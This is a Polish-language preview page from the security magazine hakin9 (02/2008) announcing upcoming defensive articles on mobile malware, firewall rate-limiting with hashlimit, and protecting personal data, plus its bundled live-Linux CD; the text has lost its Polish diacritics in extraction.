hakin9 02/2008
Zapowiedzi

w nastpnym numerze midzy innymi:

Komrkowy malware zagroenia i sposoby zapobiegania


Obrona

Telefony komrkowe, ktre korzystaj z systemu Windows Mobile, s wygodne w uyciu i coraz bardziej zyskuj na popularnoci. Ale te coraz czciej staj si celem ataku twrcw malware'u. Dlatego te konieczne jest korzystanie ze swojego telefonu z rozwag i uwag. Zhu Cheng przedstawia zagroenia czyhajce na uytkownikw oraz sposoby, jak si przed nimi obroni.

Hashlimit
Jednym ze znakomitych sposobw dozbrajania oraz poszerzania funkcjonalnoci firewall, jest korzystanie z atki hashlimit. Moliwoci, jakie ona oferuje, s ograniczone jedynie wyobrani administratora. W artykule rozwizanie to zostanie przedstawione oraz przetestowane w rzeczywistym rodowisku, ktre obsuguje sie na kilka tysicy klientw z dostpem do Internetu (lokalny ISP). Konfigurowa bdziemy gwny router, a zarazem firewall, ktry kontroluje ruch internetowy indywidualnych klientw oraz serwera usugowego z zainstalowanymi usugami www/ftp/ mail/dns/ssh i Verlihub.

Bezpieczestwo teleinformatyczne danych osobowych


Bezpieczna System informatyczny, w ktrym przetwarzane s dane osobowe, powinien oprcz wymaga wynikajcych z przepisw prawa uwzgldFirma
nia wymagania Generalnego Inspektora Ochrony Danych Osobowych w zakresie struktur baz danych osobowych oraz funkcjonalnoci zarzdzajcych nimi aplikacji. Artyku Andrzeja Guzika zawiera przydatne informacje, jak zapewni bezpieczestwo danym osobowym, ktre przetwarzane s w takim systemie.

NA CD:
hakin9.live bootowalna dystrybucja Linuksa, mnstwo narzdzi niezbdnik hakera, tutoriale praktyczne wiczenia zagadnie poruszanych w artykuach, dodatkowa dokumentacja, pene wersje komercyjnych aplikacji.

Aktualne informacje o najbliszym numerze http://www.hakin9.org/pl Numer w sprzeday na pocztku lutego 2008 r.
Redakcja zastrzega sobie prawo zmiany zawartoci pisma.

You might also like